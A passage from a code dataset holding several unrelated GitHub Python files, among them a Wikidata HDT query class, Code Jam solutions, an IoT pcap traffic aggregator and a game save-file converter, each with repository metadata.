len(neighborhood1)\n len2 = len(neighborhood2)\n connections = list()\n if len1 > len2:\n for fact in neighborhood2:\n if item1 in fact:\n connections.append(fact)\n else:\n for fact in neighborhood1:\n if item2 in fact:\n connections.append(fact)\n return connections\n\n def _find_connections_2_hop(self, item1, item2):\n \"\"\"\n Return a list of facts with item1 and item_between_item1_and_item2,\n and a list of facts with item_between_item1_and_item2 and item2.\n \"\"\"\n connections = list()\n neighbors1 = set([item for fact in self.get_neighborhood(item1) for item in fact])\n neighbors2 = set([item for fact in self.get_neighborhood(item2) for item in fact])\n items_in_the_middle = neighbors1 & neighbors2\n if not items_in_the_middle:\n return connections\n for item_in_the_middle in items_in_the_middle:\n # skip extremely frequent items\n if sum(self.get_frequency(item_in_the_middle)) > 100000:\n continue\n connections1 = self._find_connections_1_hop(item1, item_in_the_middle)\n connections2 = self._find_connections_1_hop(item_in_the_middle, item2)\n connection = [connections1, connections2]\n connections.append(connection)\n return connections\n\n def extract_search_space(self, kb_item_tuple, p=1000, include_labels=False):\n context_graph = list()\n for item in kb_item_tuple:\n search_space += self.get_neighborhood(item, p=p, include_labels=include_labels)\n return search_space\n\n def _facts_to_item_set(self, facts):\n items = set()\n for fact in facts:\n items.update(fact)\n return items\n\n def _wikidata_entry_to_id(self, entry):\n if \"XMLSchema\" in entry:\n return entry.split(\"^^\")[0]\n else:\n wikidata_id = entry.split(\"/\")[-1]\n return wikidata_id\n\n def _query_hdt_library_with_qualifiers_entity(self, entity_id):\n entity = \"http://www.wikidata.org/entity/\" + entity_id\n triples_sub, cardinality1 = self.document.search_triples(entity, \"\", \"\")\n triples_obj, cardinality2 = self.document.search_triples(\"\", \"\", entity)\n triples_sub = list(triples_sub)\n triples = []\n facts = list()\n for triple in triples_sub:\n s, p, o = triple\n if not p.startswith(\"http://www.wikidata.org\"):\n continue\n s = self._wikidata_entry_to_id(s)\n p = self._wikidata_entry_to_id(p)\n if o.startswith(\"http://www.wikidata.org/entity/statement\"):\n fact = [s, p, o]\n triples_qualifier = self._query_hdt_qualifier_obj(o)\n for qs, qp, qo in triples_qualifier:\n qo = self._wikidata_entry_to_id(qo)\n qp = self._wikidata_entry_to_id(qp)\n if len(qo) == 32 and qo[0] != \"Q\":\n continue\n if qp == p:\n fact[2] = qo\n elif qp.startswith(\"http://www.wikidata.org\"):\n fact.append(qp)\n fact.append(qo)\n else:\n o = self._wikidata_entry_to_id(o)\n fact = [s, p, o]\n facts.append(fact)\n triples_obj = list(triples_obj)\n facts_obj = list()\n # check whether cardinality2 is lower than 100,000\n # This is an upper bound, since 10,000 triples may be substantially less than 10,000 facts\n for triple in triples_obj:\n s, p, o = triple\n if not p.startswith(\"http://www.wikidata.org\"):\n continue\n o = self._wikidata_entry_to_id(o)\n p = self._wikidata_entry_to_id(p)\n if s.startswith(\"http://www.wikidata.org/entity/statement/\"):\n # p and o are qualifiers\n qp = p\n qo = o\n triples_qualifier_sub, triples_qualifier_obj = self._query_hdt_qualifier_sub(s)\n # exactly one fact with dummy node as object in wikidata\n s, p, dummy = triples_qualifier_obj[0]\n s = self._wikidata_entry_to_id(s)\n p = self._wikidata_entry_to_id(p)\n # original triple is remaining part of main statement\n if p == qp:\n o = qo\n fact = [s, p, o]\n qualifiers = []\n else:\n fact = [s, p]\n qualifiers = [qp, qo]\n\n for dummy, qp, qo in triples_qualifier_sub:\n qo = self._wikidata_entry_to_id(qo)\n if len(qo) == 32 and qo[0] != \"Q\":\n continue\n if self._wikidata_entry_to_id(qp) == p:\n fact.append(qo)\n elif qp.startswith(\"http://www.wikidata.org\"):\n qp = self._wikidata_entry_to_id(qp)\n qualifiers.append(qp)\n qualifiers.append(qo)\n fact += qualifiers\n else:\n s = self._wikidata_entry_to_id(s)\n fact = [s, p, o]\n facts_obj.append(fact)\n return facts\n\n def _query_hdt_library_with_qualifiers_predicate(self, predicate_id):\n predicate = \"http://www.wikidata.org/prop/direct/\" + predicate_id\n triples1, cardinality1 = self.document.search_triples(\"\", predicate, \"\")\n qualifier_predicate = \"http://www.wikidata.org/prop/qualifier/\" + predicate_id\n triples2, cardinality2 = self.document.search_triples(\"\", predicate, \"\")\n\n facts = list()\n for triple in chain(triples1, triples2):\n s, p, o = triple\n if not p.startswith(\"http://www.wikidata.org\"):\n continue\n o = self._wikidata_entry_to_id(o)\n p = self._wikidata_entry_to_id(p)\n if s.startswith(\"http://www.wikidata.org/entity/statement/\"):\n # p and o are qualifiers\n qp = p\n qo = o\n triples_qualifier_sub, triples_qualifier_obj = self._query_hdt_qualifier_sub(s)\n # exactly one fact with dummy node as object in wikidata\n s, p, dummy = triples_qualifier_obj[0]\n s = self._wikidata_entry_to_id(s)\n p = self._wikidata_entry_to_id(p)\n # original triple is remaining part of main statement\n if p == qp:\n o = qo\n fact = [s, p, o]\n qualifiers = []\n else:\n fact = [s, p]\n qualifiers = [qp, qo]\n\n for dummy, qp, qo in triples_qualifier_sub:\n qo = self._wikidata_entry_to_id(qo)\n if len(qo) == 32 and qo[0] != \"Q\":\n continue\n if self._wikidata_entry_to_id(qp) == p:\n fact.append(qo)\n elif qp.startswith(\"http://www.wikidata.org\"):\n qp = self._wikidata_entry_to_id(qp)\n qualifiers.append(qp)\n qualifiers.append(qo)\n fact += qualifiers\n else:\n s = self._wikidata_entry_to_id(s)\n fact = [s, p, o]\n facts.append(fact)\n return facts\n\n def _query_hdt_qualifier_obj(self, qualifier_statement):\n triples, cardinality = self.document.search_triples(qualifier_statement, \"\", \"\")\n return list(triples)\n\n def _query_hdt_qualifier_sub(self, qualifier_statement):\n triples_sub, cardinality = self.document.search_triples(qualifier_statement, \"\", \"\")\n triples_obj, cardinality = self.document.search_triples(\"\", \"\", qualifier_statement)\n triples_sub = list(triples_sub)\n triples_obj = list(triples_obj)\n return triples_sub, triples_obj\n","repo_name":"GracePeterMutiibwa/CLOCQ","sub_path":"clocq/knowledge_base/KnowledgeBaseHDT.py","file_name":"KnowledgeBaseHDT.py","file_ext":"py","file_size_in_byte":14158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"45080258927","text":"import os\nimport base64\nimport logging\n\nfrom odoo.exceptions import AccessError, ValidationError\n\nfrom odoo.addons.muk_utils.tests.common import multi_users\nfrom odoo.addons.muk_dms.tests.common import setup_data_function\nfrom odoo.addons.muk_dms.tests.test_file import FileTestCase\n\n_path = os.path.dirname(os.path.dirname(__file__))\n_logger = logging.getLogger(__name__)\n\nclass FileThumbnailTestCase(FileTestCase):\n \n def setUp(self):\n super(FileThumbnailTestCase, self).setUp()\n self.cron_thumbnails = self.browse_ref(\"muk_dms_thumbnails.cron_dms_file_thumbnails\")\n \n @multi_users(lambda self: self.multi_users())\n @setup_data_function(setup_func='_setup_test_data')\n def test_thumbnail_immediate(self):\n storage = self.create_storage(sudo=True)\n storage.write({\n 'thumbnails': 'immediate',\n })\n file = self.create_file(storage=storage)\n self.assertFalse(file.automatic_thumbnail)\n file.write({\n 'name': \"Image.jpg\",\n 'content': self.file_demo_01.content\n })\n self.assertTrue(file.automatic_thumbnail)\n self.assertTrue(file.automatic_thumbnail_medium)\n self.assertTrue(file.automatic_thumbnail_small)\n \n @multi_users(lambda self: self.multi_users())\n @setup_data_function(setup_func='_setup_test_data')\n def test_thumbnail_cron(self):\n storage = self.create_storage(sudo=True)\n storage.write({\n 'thumbnails': 'cron',\n })\n file = self.create_file(storage=storage)\n self.assertFalse(file.automatic_thumbnail)\n file.write({\n 'name': \"Image.jpg\",\n 'content': self.file_demo_01.content\n })\n self.assertFalse(file.automatic_thumbnail)\n self.cron_thumbnails.sudo().method_direct_trigger()\n self.assertTrue(file.automatic_thumbnail)\n self.assertTrue(file.automatic_thumbnail_medium)\n self.assertTrue(file.automatic_thumbnail_small)\n ","repo_name":"muk-it/muk_dms","sub_path":"muk_dms_thumbnails/tests/test_file.py","file_name":"test_file.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","stars":90,"dataset":"github-code","pt":"61"} +{"seq_id":"23383523361","text":"def check(*args):\r\n\to_cnt = x_cnt = t_cnt = 0\r\n\thas_dot = False\r\n\r\n\tfor arg in args[0]:\r\n\t\tif arg == 'O':\r\n\t\t\to_cnt += 1\r\n\t\telif arg == 'X':\r\n\t\t\tx_cnt += 1\r\n\t\telif arg == 'T':\r\n\t\t\tt_cnt += 1\r\n\t\telif arg == '.':\r\n\t\t\thas_dot = True\r\n\t\t\tcontinue\r\n\t\telse:\r\n\t\t\tprint('f*ck: {}'.format(arg))\r\n\r\n\tif o_cnt == 4 or (o_cnt == 3 and t_cnt == 1):\r\n\t\treturn True, 'O', has_dot\r\n\telif x_cnt == 4 or (x_cnt == 3 and t_cnt == 1):\r\n\t\treturn True, 'X', has_dot\r\n\telse:\r\n\t\treturn False, '', has_dot\r\n\r\n\r\ndef game(*args):\r\n\tok = False\r\n\twin = ''\r\n\r\n\tfor j, horz in enumerate(args):\r\n\t\tok, win, dot = check(tuple(horz[i] for i in range(4)))\r\n\t\tif ok: break\r\n\r\n\t\tok, win, dot = check(tuple(args[i][j] for i in range(4)))\r\n\t\tif ok: break\r\n\r\n\tif not ok:\r\n\t\tok, win, dot = check(tuple(args[i][i] for i in range(4)))\r\n\tif not ok:\r\n\t\tok, win, dot = check(tuple(args[i][3-i] for i in range(4)))\r\n\r\n\tif ok:\r\n\t\treturn win + ' won'\r\n\telif dot:\r\n\t\treturn 'Game has not completed'\r\n\telse:\r\n\t\treturn 'Draw'\r\n\r\n\r\ndef mainFromFile(filename):\r\n\ttext = ''\r\n\r\n\tf = open(filename, 'r')\r\n\tT = int(f.readline())\r\n\r\n\tfor i in range(T):\r\n\t\tl0 = f.readline()\r\n\t\tl1 = f.readline()\r\n\t\tl2 = f.readline()\r\n\t\tl3 = f.readline()\r\n\t\tl4 = f.readline()\r\n\r\n\t\tresult = game(l0, l1, l2, l3)\r\n\t\ttext += 'Case #{}: {}\\n'.format(i + 1, result)\r\n\r\n\tf.close()\r\n\r\n\treturn text\r\n\r\n\r\ndef mainFromNogada():\r\n\ttext = ''\r\n\r\n\tresult = game(\r\n\t\t'XXXT',\r\n\t\t'....',\r\n\t\t'OO..',\r\n\t\t'....'\r\n\t)\r\n\ttext += 'Case #1: {}\\n'.format(result)\r\n\r\n\tresult = game(\r\n\t\t'XOXT',\r\n\t\t'XXOO',\r\n\t\t'OXOX',\r\n\t\t'XXOO'\r\n\t)\r\n\ttext += 'Case #2: {}\\n'.format(result)\r\n\r\n\tresult = game(\r\n\t\t'XOX.',\r\n\t\t'OX..',\r\n\t\t'....',\r\n\t\t'....'\r\n\t)\r\n\ttext += 'Case #3: {}\\n'.format(result)\r\n\r\n\tresult = game(\r\n\t\t'OOXX',\r\n\t\t'OXXX',\r\n\t\t'OX.T',\r\n\t\t'O..O'\r\n\t)\r\n\ttext += 'Case #4: {}\\n'.format(result)\r\n\r\n\tresult = game(\r\n\t\t'XXXO',\r\n\t\t'..O.',\r\n\t\t'.O..',\r\n\t\t'T...'\r\n\t)\r\n\ttext += 'Case #5: {}\\n'.format(result)\r\n\r\n\tresult = game(\r\n\t\t'OXXX',\r\n\t\t'XO..',\r\n\t\t'..O.',\r\n\t\t'...O'\r\n\t)\r\n\ttext += 'Case #6: {}\\n'.format(result)\r\n\r\n\treturn text\r\n\r\n\r\nif __name__ == '__main__':\r\n\t#text = mainFromNogada()\r\n\ttext = mainFromFile('A-small-attempt2.in')\r\n\r\n\tf = open('result.txt', 'w')\r\n\tf.write(text)\r\n\tf.close()\r\n\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_116/2869.py","file_name":"2869.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6935919177","text":"import typing as tp\n\nfrom aiohttp import web\nfrom aiohttp_apispec import AiohttpApiSpec\n\n\nclass Swagger:\n swagger_dict: dict[str, dict] = None\n spec: AiohttpApiSpec = None\n\n\ndef get_swagger_dict() -> dict:\n return Swagger.swagger_dict\n\n\ndef setup_aiohttp_apispec(\n app: web.Application,\n *,\n title: str = \"API documentation\",\n version: str = \"0.0.1\",\n url: str = \"/api/docs/swagger.json\",\n request_data_name: str = \"data\",\n swagger_path: str = None,\n static_path: str = \"/static/swagger\",\n error_callback=None,\n in_place: bool = False,\n prefix: str = \"\",\n **kwargs: tp.Any,\n) -> None:\n spec = AiohttpApiSpec(\n url=url,\n app=app,\n request_data_name=request_data_name,\n title=title,\n version=version,\n swagger_path=swagger_path,\n static_path=static_path,\n error_callback=error_callback,\n in_place=in_place,\n prefix=prefix,\n **kwargs,\n )\n Swagger.spec = spec\n Swagger.swagger_dict = spec.swagger_dict()\n","repo_name":"iluvvatar/avanpost_hackaton","sub_path":"src/backend/swagger.py","file_name":"swagger.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23583753511","text":"import sys\nimport numpy as np\n\ninput_file = \"B-small-attempt2.in\"\noutput_file = \"B-small-attempt2.out\"\n\n# key = previous\npossible_next = {0: [2, 3, 4],\n 1: [4],\n 2: [0, 4, 5],\n 3: [0],\n 4: [0, 1, 2],\n 5: [2]}\n\ndef result_to_candidate(result):\n if result == \"R\":\n return 0\n elif result == \"Y\":\n return 1\n elif result == \"B\":\n return 2\n return -1\n\ndef candidate_to_string(cand):\n result = \"\"\n if cand == 0:\n result = \"R\"\n elif cand == 1:\n result = \"Y\"\n elif cand == 2:\n result = \"B\"\n return result\n\ndef solve(tt):\n n, r, o, y, g, b, v = [int(j) for j in input().split(\" \")]\n ryb = np.zeros(3)\n result = \"\"\n previous = -1\n ryb[0] += r + o + v\n ryb[1] += o + y + g\n ryb[2] += g + b + v\n for i in range(n):\n sort_indices = np.argsort(-ryb)\n for j in range(3):\n candidate = sort_indices[j]\n if len(result) != 0:\n start_result = result_to_candidate(result[0])\n if ryb[start_result] == ryb[candidate]:\n if start_result != previous:\n candidate = start_result\n if ryb[candidate] == 0:\n return \"IMPOSSIBLE\"\n if previous == candidate:\n continue\n else:\n result += candidate_to_string(candidate)\n ryb[candidate] -= 1\n previous = candidate\n break\n if result[0] == result[-1]:\n return \"IMPOSSIBLE\"\n return result\n\ndef main():\n t = int(input())\n for tt in range(1, t + 1):\n result = solve(tt)\n print(\"Case #{}: {}\".format(tt, result))\n\nif __name__ == \"__main__\":\n sys.stdin = open(input_file)\n sys.stdout = open(output_file, 'w+')\n main()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_207/589.py","file_name":"589.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15770172322","text":"\nfrom django.contrib import admin\n# from django.urls import path\nfrom django.conf.urls import url\nfrom . import views\napp_name = \"user\"\nurlpatterns = [\n url(r'^$',views.index, name=\"index\"),\n url(r'login/',views.login, name=\"login\"),\n url(r'regist/',views.regist, name=\"regist\"),\n url(r'test/',views.test, name=\"test\"),\n url(r'getusermessage/(?P\\w+)/$',views.getusermessage, name=\"getusermessage\"),\n url(r'myfocusnum/(?P\\w+)/$',views.myfocusnum, name=\"myfocusnum\"),\n url(r'myfocus/(?P\\w+)/$',views.myfocus, name=\"myfocus\"),\n url(r'updateusermessage/',views.updateusermessage, name=\"updateusermessage\"),\n url(r'searchsecrit/(?P\\w+)/$',views.searchsecrit, name=\"searchsecrit\"),\n url(r'addtravelnotes/',views.addtravelnotes, name=\"addtravelnotes\"),\n\n]\n","repo_name":"Gaozongwei2/outproject","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19071055114","text":"import xlrd\nimport csv\nfrom calendar import monthrange\nimport datetime\n\n\ndef convert_day_or_month_to_str(day):\n if day < 10:\n day_str = '0' + str(day)\n else:\n day_str = str(day)\n return day_str\n\n\ndef csv_from_excel(xlsx_file, csv_file):\n wb = xlrd.open_workbook(xlsx_file)\n sh = wb.sheet_by_name('Tulokset')\n with open(csv_file, 'w') as csvfile:\n csvwriter = csv.writer(csvfile, quoting=csv.QUOTE_ALL)\n for rownum in range(sh.nrows):\n csvwriter.writerow(sh.row_values(rownum))\n\n\ndef convert_day_or_month_range_to_str(days_range):\n days_range_str = []\n for day in days_range:\n if day < 10:\n day = '0' + str(day)\n else:\n day = str(day)\n days_range_str.append(day)\n return days_range_str\n\n\ndef get_daylist_for_month(year, month):\n days_in_month = monthrange(year, month)[1]\n days_range = list(range(1, (days_in_month + 1)))\n days_range_str = convert_day_or_month_range_to_str(days_range)\n return days_range_str\n\n\ndef get_datetime_from_arg(arg_date):\n # arg_date format: '1911-01-01' YYYY-MM-DD\n arg_date_list = arg_date.split('-')\n start_year = int(arg_date_list[0])\n start_month = int(arg_date_list[1])\n start_day = int(arg_date_list[2])\n arg_datetime = datetime.date(start_year, start_month, start_day)\n return(arg_datetime)\n","repo_name":"villevaara/digi-scraper","sub_path":"digi-sele/digi_selenium_scraper_common_functions.py","file_name":"digi_selenium_scraper_common_functions.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6279411159","text":"\"\"\"Upgrade config\n\nRevision ID: 6102ec2a48b9\nRevises: 9895d93f657e\nCreate Date: 2023-03-28 20:00:38.451249\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '6102ec2a48b9'\ndown_revision = '9895d93f657e'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('picture',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('title', sa.String(), nullable=True),\n sa.Column('size', sa.Float(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_picture_id'), 'picture', ['id'], unique=True)\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_picture_id'), table_name='picture')\n op.drop_table('picture')\n # ### end Alembic commands ###\n","repo_name":"K-Maxim/picture_feed","sub_path":"migrations/versions/6102ec2a48b9_upgrade_config.py","file_name":"6102ec2a48b9_upgrade_config.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30651983934","text":"\nimport pyshark\nimport os\nimport csv\nimport socket\nimport ipapi\nfrom ip2geotools.databases.noncommercial import DbIpCity\nimport ipaddress\n\n#IPdict contains all device IPs and their corresponding device names.\nIPdict = {\n '192.168.1.125':\"Echo plus 2nd gen\",\n '192.168.86.23':\"Echo plus 2nd gen\",\n '192.168.1.142':\"Desktop (server)\",\n '192.168.1.135':\"Desktop (server)\",\n '192.168.1.134':\"Echo Look\",\n '192.168.1.113':\"Nestcam\",\n '192.168.1.154':\"Motog Phone\",\n '192.168.1.249':\"Google onHub\",\n '192.168.1.107':\"Ring Door bell\",\n '192.168.86.22':\"Ring Door bell\",\n '192.168.1.163':\"Samsung Smartthings hub2\",\n '192.168.86.20':\"Smartwifiplug\",\n '192.168.86.21':\"Smartwifiplug\",\n '192.168.1.103':\"LG smart TV\",\n '192.168.86.23':\"LG smart TV\",\n '192.168.1.1':\"Router\"\n }\n\n#Collected information to be stored. [source, destIP, destDomain, destLat, destLong, dataVol]\nAggregated2DList = {}\n#Domains of validated IPs are paired with IPs\ncollectedDstDomain = {}\n#Latitude of validated IPs are paired with IPs\ncollectedDstLatitude = {}\n#Longitude of validated IPs are paired with IPs\ncollectedDstLongitude = {}\n#Collects domains that have been invalidated by socket\nspecialCaseDestinationIPs = []\n\nspecialCases = 0\n\ndirectory = 'C:/Users/adity/Documents/aditya docs/Mentorship NCSSM materials/ncsu_iotlab/16'\nfor file in os.listdir(directory):\n currentFile = \"\"\n\n # Set the current file path. \n if file.endswith('.pcap'):\n currentFile = directory + \"/\" + file\n else:\n continue\n print(file)\n #pcap file is extracted using pyshark for analysis\n pcap = pyshark.FileCapture(currentFile, use_json=True)\n num = 1\n for pckt in pcap:\n try:\n if not pckt.ip.dst == '192.168.1.1':\n\n if (not pckt.ip.dst in IPdict) and (ipaddress.ip_address(pckt.ip.dst).is_private):\n continue\n\n currentPair = \"\" + IPdict[pckt.ip.src] + \"|\" + pckt.ip.dst\n if currentPair in Aggregated2DList:\n Aggregated2DList[currentPair] = int(Aggregated2DList[currentPair]) + int(pckt.length)\n #print(file[0:13] + \" | \" + pckt.number + \" | \" + \"Aggregated\")\n continue\n\n Aggregated2DList[currentPair] = pckt.length\n #print(file[0:13] + \" | \" + pckt.number + \" | \" + \"Added\")\n\n except:\n continue\n\n\nprint(Aggregated2DList)\ngenerated = []\nfor x in Aggregated2DList:\n splt = x.split(\"|\")\n generated.append([splt[0], splt[1], Aggregated2DList[x]])\n\n\nwith open('C:/Users/adity/Documents/aditya docs/Mentorship NCSSM materials/generated CSVs/GeneratedCSV1.csv', 'w', newline='') as f:\n theWriter = csv.writer(f)\n theWriter.writerow([\"Source\", \"Destination IP\", \"Packet Length\"])\n for x in generated:\n theWriter.writerow(x)","repo_name":"adityabasarkar/PCAP-Data-Extraction","sub_path":"Data Manipulation Programs/listParser/listParser.py","file_name":"listParser.py","file_ext":"py","file_size_in_byte":2927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23341516259","text":"import random\r\n\r\nimport turingarena as ta\r\n\r\nfor _ in range(10):\r\n prim = 1\r\n i = 2\r\n a = int(random.random()*100)\r\n\r\n with ta.run_algorithm(ta.submission.source) as process:\r\n n = process.functions.primo(a)\r\n\r\n\r\n try:\r\n\r\n while i < a/2+1:\r\n if a % i == 0:\r\n prim = 0\r\n\r\n i += 1\r\n\r\n if n == prim:\r\n if n == 0:\r\n print(str(a) + \" non primo\")\r\n else:\r\n print(str(a) + \" primo\")\r\n print(\" correct \\n\")\r\n\r\n else:\r\n ta.goals[\"correct\"] = False\r\n print(\"WRONG!\")\r\n\r\n except ta.AlgorithmError as e:\r\n ta.goals[\"correct\"] = False\r\n print(e)\r\n\r\nta.goals.setdefault(\"correct\", True)\r\n","repo_name":"Angelox547/TuringArena-PCTO","sub_path":"n_primo/evaluator.py","file_name":"evaluator.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7285654082","text":"from abc import ABC, abstractmethod\nfrom typing import Optional\n\nfrom flwr.common import (\n DisconnectRes,\n EvaluateIns,\n EvaluateRes,\n FitIns,\n FitRes,\n GetParametersIns,\n GetParametersRes,\n GetPropertiesIns,\n GetPropertiesRes,\n Properties,\n ReconnectIns,\n)\n\n\nclass ClientProxy(ABC):\n \"\"\"Abstract base class for Flower client proxies.\"\"\"\n\n node_id: int\n\n def __init__(self, cid: str):\n self.cid = cid\n self.properties: Properties = {}\n\n @abstractmethod\n def get_properties(\n self,\n ins: GetPropertiesIns,\n timeout: Optional[float],\n ) -> GetPropertiesRes:\n \"\"\"Return the client's properties.\"\"\"\n\n @abstractmethod\n def get_parameters(\n self,\n ins: GetParametersIns,\n timeout: Optional[float],\n ) -> GetParametersRes:\n \"\"\"Return the current local model parameters.\"\"\"\n\n @abstractmethod\n def fit(\n self,\n ins: FitIns,\n timeout: Optional[float],\n ) -> FitRes:\n \"\"\"Refine the provided parameters using the locally held dataset.\"\"\"\n\n @abstractmethod\n def evaluate(\n self,\n ins: EvaluateIns,\n timeout: Optional[float],\n ) -> EvaluateRes:\n \"\"\"Evaluate the provided parameters using the locally held dataset.\"\"\"\n\n @abstractmethod\n def reconnect(\n self,\n ins: ReconnectIns,\n timeout: Optional[float],\n ) -> DisconnectRes:\n \"\"\"Disconnect and (optionally) reconnect later.\"\"\"\n","repo_name":"adap/flower","sub_path":"src/py/flwr/server/client_proxy.py","file_name":"client_proxy.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":3287,"dataset":"github-code","pt":"61"} +{"seq_id":"14286828376","text":"path = \".\"\n\n# Set this to True to fully unlock all maps\n# Set this to False to erase all map progress\n# Set to None to convert map progress\nuseFullMaps = None\n\ndef reverse_endianness_block2(block):\n even = block[::2]\n odd = block[1::2]\n res = []\n for e, o in zip(even, odd):\n res += [o, e]\n return res\n\n# Initiate base file\ndata = None\nsaveFile = [0]*257678\nsaveFile[:4] = [0x42, 0x4c, 0x48, 0x54]\nsaveFile[0x67] = 0x01\n\n# Copy over character unlock flags\nwith open(path+\"/PCF01.ngd\", 'rb') as f:\n data = f.read()\nsaveFile[0x5:0x3d] = data[0x1:0x39] # Extract only relevant part\n\n# Copy over achievement status flags\nwith open(path+\"/PAM01.ngd\", 'rb') as f:\n data = f.read()\nsaveFile[0x68:0x0d0] = data[0x00:0x68] # Extract regular disk part\nsaveFile[0xd6:0x10a] = data[0x6e:0xa2] # Extract plus disk part\n\n# Copy over achievement notification status flags\nwith open(path+\"/PAC01.ngd\", 'rb') as f:\n data = f.read()\nsaveFile[0x130:0x198] = data[0x00:0x68] # Extract regular disk part\nsaveFile[0x19e:0x1d2] = data[0x6e:0xa2] # Extract plus disk part\n\n# Copy over bestiary information\nwith open(path+\"/PKO01.ngd\", 'rb') as f:\n data = f.read()\nsaveFile[0x2c2:0x4c22] = data[0xca:0x4a2a]\nsaveFile[0x2c2:0x4c22] = reverse_endianness_block2(saveFile[0x2c2:0x4c22])\n\n# Copy over party formation\nwith open(path+\"/PPC01.ngd\", 'rb') as f:\n data = f.read()\nsaveFile[0x5018:0x5024] = data[:] # All bytes are relevant\n\n# Copy over misc information from game\nwith open(path+\"/PEX01.ngd\", 'rb') as f:\n data = f.read()\noffset = 0x540c\nsaveFile[offset+0x00:offset+0x08] = data[0x00:0x08][::-1] # Cumulative EXP\nsaveFile[offset+0x08:offset+0x10] = data[0x08:0x10][::-1] # Cumulative Money\nsaveFile[offset+0x10:offset+0x18] = data[0x10:0x18][::-1] # Current money\nsaveFile[offset+0x18:offset+0x20] = data[0x18:0x20][::-1] # Number of battles\nsaveFile[offset+0x20:offset+0x24] = data[0x20:0x24][::-1] # Number of game overs\nsaveFile[offset+0x24:offset+0x28] = data[0x24:0x28][::-1] # Play time in seconds\nsaveFile[offset+0x28:offset+0x2c] = data[0x28:0x2c][::-1] # Number of treasures\nsaveFile[offset+0x2c:offset+0x30] = data[0x2c:0x30][::-1] # Number of crafts\nsaveFile[offset+0x30:offset+0x34] = data[0x30:0x34][::-1] # Unused data\nsaveFile[offset+0x34] = data[0x34] # Highest floor\nsaveFile[offset+0x35:offset+0x39] = data[0x35:0x39][::-1] # Number of locked treasures\nsaveFile[offset+0x39:offset+0x3d] = data[0x39:0x3d][::-1] # Number of escaped battles\nsaveFile[offset+0x3d:offset+0x41] = data[0x3d:0x41][::-1] # Number of dungeon enters\nsaveFile[offset+0x41:offset+0x45] = data[0x41:0x45][::-1] # Number of item drops\nsaveFile[offset+0x45:offset+0x49] = data[0x45:0x49][::-1] # Number of FOEs killed\nsaveFile[offset+0x49:offset+0x51] = data[0x49:0x51][::-1] # Number of steps taken\nsaveFile[offset+0x51:offset+0x59] = data[0x51:0x59][::-1] # Money spent on shop\nsaveFile[offset+0x59:offset+0x61] = data[0x59:0x61][::-1] # Money sold on shop\nsaveFile[offset+0x61:offset+0x69] = data[0x61:0x69][::-1] # Most EXP from 1 dive\nsaveFile[offset+0x69:offset+0x71] = data[0x69:0x71][::-1] # Most Money from 1 dive\nsaveFile[offset+0x71:offset+0x75] = data[0x71:0x75][::-1] # Most Drops from 1 dive\nsaveFile[offset+0x75] = data[0x75] # Unknown data\nsaveFile[offset+0x76:offset+0x7e] = data[0x76:0x7e][::-1] # Number of library enhances\nsaveFile[offset+0x7e:offset+0x82] = data[0x7e:0x82][::-1] # Highest battle streak\nsaveFile[offset+0x82:offset+0x86] = data[0x82:0x86][::-1] # Highest escape streak\nsaveFile[offset+0x86] = data[0x86] # Hard mode flag\nsaveFile[offset+0x87] = data[0x87] # IC enabled flag\n# saveFile[offset+0x88:offset+0xae] = data[0x88:0xae] # Unknown data\nsaveFile[offset+0xae:offset+0xb2] = data[0xae:0xb2][::-1] # IC floor\nsaveFile[offset+0xb2:offset+0xb6] = data[0xb2:0xb6][::-1] # Number of akyuu trades\nsaveFile[offset+0xb6:offset+0xba] = data[0xb6:0xba][::-1] # Unknown data\n\n# Copy over event flags\nwith open(path+\"/EVF01.ngd\", 'rb') as f:\n data = f.read()\nsaveFile[0x54c6:0x68b2] = data[0x0:0x13ec] # Extract only relevant part\n\n# Copy over item discovery flags\nwith open(path+\"/EEF01.ngd\", 'rb') as f:\n data = f.read()\nsaveFile[0x7bd7:0x7c13] = data[0x001:0x03d] # Extract main equips\nsaveFile[0x7c9f:0x7d8f] = data[0x0c9:0x1b9] # Extract sub equips\nsaveFile[0x7dcb:0x7e2f] = data[0x1f5:0x259] # Extract materials\nsaveFile[0x7ef7:0x7fab] = data[0x321:0x3d5] # Extract special items\n\n# Copy over item inventory count\nwith open(path+\"/EEN01.ngd\", 'rb') as f:\n data = f.read()\nsaveFile[0x83a8:0x8420] = data[0x002:0x07a] # Extract main equips\nsaveFile[0x8538:0x8718] = data[0x192:0x372] # Extract sub 